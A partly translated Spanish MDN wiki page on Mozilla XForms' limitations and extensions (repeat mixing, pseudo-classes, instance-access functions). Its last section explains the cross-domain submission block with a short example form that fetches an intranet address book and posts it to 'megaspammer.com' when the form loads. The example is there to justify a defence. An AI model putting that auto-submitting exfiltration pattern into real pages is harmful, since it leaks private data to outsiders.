XForms:Soporte en Mozilla
De MDC
Esta página está traduciéndose a partir del artículo XForms:Mozilla XForms Specials, razón por la cual puede haber algunos errores sintácticos o partes sin traducir. Puedes colaborar continuando con la traducción
Tabla de contenidos |
[editar] Introducción
Este artículo da una visión general de cómo la Extensión XForms de Mozilla se desvía de la Especificación oficial XForms 1.0 [1]. Cubre las limitaciones en la extensión y la extensiones de usuario.
[editar] Limitaciones
[editar] Repetir usando atributos
La menciones de la especificación "Creating Repeating Structures Via Attributes" NO ESTÁN soportadas.
(limitación registrada en el bug 280368)
[editar] Mezcla de repetición de tags table o ul
No es posible mezclar repeticiones con tags table ni ul. Esto significa que NO ES POSIBLE hacer lo siguiente:
<table>
<xf:repeat ...>
<tr> ... </tr>
</xf:repeat>
</table>
Ni tampoco:
<ul>
<xf:repeat ...>
<li> ... </li>
</xf:repeat>
</ul>
La sección 9.3.2 dice que las mezclas con table probablemente nunca funcionen. Las mezclas con ul podrían sufrir la misma limitación, aunque no deberían producir errores fatales (bug 330022).
[editar] Soporte a pseudo clases
En XForms se soportan actualmente todo tipo de pseudo clases (:enabled, :disabled, etc. [2]), EXCEPTO :read-only y :read-write, pues éstas no tienen un comportamiento descrito en (X)HTML. En su lugar se debe usar:-moz-read-only and :-moz-read-write, por el momento.
(limitación registrada en el bug 313111)
[editar] Soporte de pseudo elementos
No se soportan los pseudo elementos (::value, ::repeat-item, y ::repeat-index [3]). En su lugar se deben usar las siguientes clases:
-
xf-value -
xf-repeat-item -
xf-repeat-index
Por ejemplo, para tomar el valor de un control input, hay que usar:
@namespace xf url("http://www.w3.org/2002/xforms");
xf|input .xf-value {
...
}
Los pseudo elementos están definidos en la Especificación de Interfaz de Usuario Básico CSS3 [4].
(Limitation registrada en el bug 271724)
[editar] Extensiones
[editar] Enumerar instancias
El nsIXFormsModelElement estándar no permite enumerar todas las posibles instancias, sino sólo recuperar una a una por nombre. En la Extensión XForms de Mozilla se ha añadido al model una función getInstanceDocuments() que retorna todos los documentos de la instancia del modelo. Esto viene documentado en nsIXFormsNSModelElement.
[editar] Llegar al elemento de instancia desde un nodo de datos
En la especificación XForms 1.0 no hay manera de conseguir el elemento instance desde la instancia de un nodos de datos. Se ha añadido una función a través de una llamada al getFeature() de cada nodo, para permiteir al autor del formulario hacer eso. Es decir: si instanceNode es un nodo dentro un documento de instancia, entonces:
instanceNode.getFeature("org.mozilla.xforms.instanceOwner", "1.0")
devolverá el elemento <instance> (dentro del documento principal) al cual pertenece el nodo.
[editar] Llegar al documento de instancia desde el elemento de instancia
Según la especificación XForms 1.0 hay que navegar a través del elemento model para llegar hasta el documento instancia. Parece un poco torpe, cuando ya se dispone del elemento instance, así es que se ha añadido una función getInstanceDocument() directamente en el elemento instance a modo de atajo. Esto viene documentado en nsIXFormsNSInstanceElement.
[editar] Interfaz de control del usuario
Se ha añadido mucha funcionalidad a nuestro interfaz de usuario, lo cual permite al autor del formulario crear sus propios controles de usuario. Ello implica publicar algo de funcionalidad (en un script) en todos nuestros controles, como output, input, etc., y permitir que el interfaz de usuario se represente en XBL. Más información en XForms:Custom Controls.
[editar] Misc
[editar] Cross Domain Submission
Not exactly either a limitation, or an extension, but it is worth mentioning here. For security reasons, it is not per default possible for an XForms to submit data to another domain. This is due to security reasons. Information about how to whitelist domain can be found in the Release Notes [5]
The cross domain check also includes forms loaded from file://. Forms loaded from that URL should be local files, and thus trusted, but it is not always the case. So there is not automatic "whitelisting" of local files.
If you are wondering why we have this restriction, here is a simple example of why:
<xforms:model>
<xforms:instance src="http://intranetserver/addrbook.xml"/>
<xforms:submission id="sub" action="http://megaspammer.com/gather"
method="post"/>
<xforms:send submission="sub" ev:event="xforms-ready"/>
</xforms:model>
This imaginary would fetch something that is only accessible for you (f.x. behind a firewall) http://intranetserver/addrbook.xml, and send it to http://megaspammer.com/gather as soon as you view the XForm.